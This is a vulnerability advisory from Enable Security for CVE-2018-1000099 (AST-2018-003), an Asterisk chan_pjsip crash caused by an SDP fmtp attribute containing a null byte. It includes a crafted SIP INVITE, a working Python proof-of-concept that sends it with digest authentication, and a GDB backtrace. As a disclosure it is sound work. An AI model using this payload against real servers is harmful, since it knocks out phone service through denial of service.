# Segmentation fault occurs in asterisk with an invalid SDP fmtp attribute - Authors: - Alfred Farrugia - Sandro Gauci - Latest vulnerable version: Asterisk 15.2.0 running `chan_pjsip` - References: AST-2018-003, CVE-2018-1000099 - Enable Security Advisory: - Vendor Advisory: - Timeline: - Issue reported to vendor: 2018-01-15 - Vendor patch made available to us: 2018-02-05 - Vendor advisory published: 2018-02-21 - Enable Security advisory: 2018-02-22 ## Description A specially crafted SDP message body with an invalid fmtp attribute causes a segmentation fault in asterisk using `chan_pjsip`. ## Impact Abuse of this vulnerability leads to denial of service in Asterisk when `chan_pjsip` is in use. ## How to reproduce the issue The following SIP message was used to reproduce the issue: ``` INVITE sip:5678@127.0.0.1:5060 SIP/2.0 To: From: Test Call-ID: adc9caea-2d0a-40af-9de5-1dd21387e03a CSeq: 2 INVITE Via: SIP/2.0/UDP 172.17.0.1:10394;branch=z9hG4bKadc9caea-2d0a-40af-9de5-1dd21387e03a Contact: Content-Type: application/sdp Content-Length: 228 v=0 o=- 1061502179 1061502179 IN IP4 172.17.0.1 s=Asterisk c=IN IP4 172.17.0.1 t=0 0 m=audio 17000 RTP/AVP 9 0 101 a=rtpmap:8 alaw/8000 a=rtpmap:0 PCMU/8000 a=rtpmap:101 telephone-event/8000 a=fmtp\x00:101 0-16 a=sendrecv ``` Notes: - `\x00` should be replaced by the null character - authentication may be required - the destination SIP address should match a valid extension in the dialplan. To facilitate this process we wrote the following python program to reproduce this issue: ```python import socket import re import md5 import uuid SERVER_IP = "127.0.0.1" SERVER_PORT = 5060 UDP_IP = "0.0.0.0" UDP_PORT = 13940 USERNAME = "5678" PASSWORD = "5678" INVITE_USERNAME = "5678" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind((UDP_IP, UDP_PORT)) callid = str(uuid.uuid4()) sdpbody = "v=0\r\no=- 1061502179 1061502179 IN IP4 172.17.0.1\r\n" \ "s=Asterisk\r\n" \ "c=IN IP4 172.17.0.1\r\n" \ "t=0 0\r\n" \ "m=audio 17000 RTP/AVP 9 0 101\r\n" \ "a=rtpmap:8 alaw/8000\r\n" \ "a=rtpmap:0 PCMU/8000\r\n" \ "a=rtpmap:101 telephone-event/8000\r\n" \ "a=fmtp\x00:101 0-16\r\n"\ "a=sendrecv" msg="INVITE sip:%s@%s:%i SIP/2.0\r\n" \ "To: \r\n" \ "From: Test \r\n" \ "Call-ID: %s\r\n" \ "CSeq: 2 INVITE\r\n" \ "Via: SIP/2.0/UDP 172.17.0.1:10394;branch=z9hG4bK%s\r\n" \ "Contact: \r\n" \ "Content-Type: application/sdp\r\n" \ "{{AUTH}}" \ "Content-Length: %i\r\n" \ "\r\n" % ( INVITE_USERNAME, SERVER_IP, SERVER_PORT, INVITE_USERNAME, SERVER_IP, SERVER_PORT, USERNAME, SERVER_IP, SERVER_PORT, callid, callid, USERNAME, len(sdpbody) ) + \ sdpbody sock.sendto(msg.replace("{{AUTH}}", ""), (SERVER_IP, SERVER_PORT)) data, addr = sock.recvfrom(10240) if data.startswith("SIP/2.0 401"): for line in data.split('\r\n'): if line.startswith("WWW-Authenticate"): content = line.split(':', 2)[1].strip() realm = re.search("realm=\"([a-z]+)\"", content).group(1) nonce = re.search("nonce=\"([a-z0-9\/]+)\"", content).group(1) ha1 = md5.new(USERNAME + ":" + realm + ":" + PASSWORD).hexdigest() uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT) ha2 = md5.new("INVITE:" + uri).hexdigest() r = md5.new(ha1 + ":" + nonce + ":" + ha2).hexdigest() auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \ "realm=\"%s\"," % (realm) + \ "nonce=\"%s\"," % (nonce) + \ "uri=\"%s\"," % (uri) + \ "response=\"%s\"," % (r) + \ "algorithm=md5\r\n" sock.sendto(msg.replace("{{AUTH}}", auth), (SERVER_IP, SERVER_PORT)) ``` This security issue was discovered through the use of simple fuzzing with [Radamsa](https://github.com/aoh/radamsa) and our internal toolset. ### GDB backtrace result ``` Thread 197 "asterisk" received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7fff65e57700 (LWP 10595)] pjmedia_sdp_attr_get_fmtp (attr=, fmtp=fmtp@entry=0x7fff65e56430) at ../src/pjmedia/sdp.c:350 350 while (pj_isdigit(*p) && p!=end) (gdb) bt #0 pjmedia_sdp_attr_get_fmtp (attr=, fmtp=fmtp@entry=0x7fff65e56430) at ../src/pjmedia/sdp.c:350 #1 0x00007fff6bf49070 in get_codecs (session_media=0x7fff74799540, codecs=0x7fff65e56450, stream=0x7fff97f99de0, session=0x7fff74581688) at res_pjsip_sdp_rtp.c:276 #2 set_caps (session=session@entry=0x7fff74581688, session_media=session_media@entry=0x7fff74799540, session_media_transport=0x7fff74799540, stream=stream@entry=0x7fff97f99de0, is_offer=is_offer@entry=1, asterisk_stream=asterisk_stream@entry=0x7fff747a03b0) at res_pjsip_sdp_rtp.c:352 #3 0x00007fff6bf4b2d7 in negotiate_incoming_sdp_stream (session=0x7fff74581688, session_media=0x7fff74799540, sdp=, index=, asterisk_stream=0x7fff747a03b0) at res_pjsip_sdp_rtp.c:1185 #4 0x00007ffff1a16bb9 in handle_incoming_sdp (session=session@entry=0x7fff74581688, sdp=0x7fff97f99870) at res_pjsip_session.c:671 #5 0x00007ffff1a1a721 in new_invite (invite=) at res_pjsip_session.c:2871 #6 handle_new_invite_request (rdata=0x7fff573f88d8) at res_pjsip_session.c:2966 #7 session_on_rx_request (rdata=0x7fff573f88d8) at res_pjsip_session.c:3030 #8 0x00007ffff7868df7 in pjsip_endpt_process_rx_data (endpt=, rdata=rdata@entry=0x7fff573f88d8, p=p@entry=0x7ffff1a0ace0 , p_handled=p_handled@entry=0x7fff65e56d44) at ../src/pjsip/sip_endpoint.c:887 #9 0x00007ffff17e009f in distribute (data=0x7fff573f88d8) at res_pjsip/pjsip_distributor.c:903 #10 0x00000000005fb3be in ast_taskprocessor_execute (tps=tps@entry=0x1dc33a8) at taskprocessor.c:963 #11 0x0000000000602610 in execute_tasks (data=0x1dc33a8) at threadpool.c:1322 #12 0x00000000005fb3be in ast_taskprocessor_execute (tps=0x1a39488) at taskprocessor.c:963 #13 0x0000000000602af0 in threadpool_execute (pool=0x1a37ca8) at threadpool.c:351 #14 worker_active (worker=0x7fff9457ccd8) at threadpool.c:1105 #15 worker_start (arg=arg@entry=0x7fff9457ccd8) at threadpool.c:1024 #16 0x000000000060d4bd in dummy_start (data=) at utils.c:1257 #17 0x00007ffff5e3d6ba in start_thread (arg=0x7fff65e57700) at pthread_create.c:333 #18 0x00007ffff54263dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109 (gdb) ``` ## Solutions and recommendations Apply the patch issued by Asterisk at or upgrade to the latest release. ## About Enable Security [Enable Security](https://www.enablesecurity.com) provides Information Security services, including Penetration Testing, Research and Development, to help protect client networks and applications against online attackers. ## Disclaimer The information in the advisory is believed to be accurate at the time of publishing based on currently available information. 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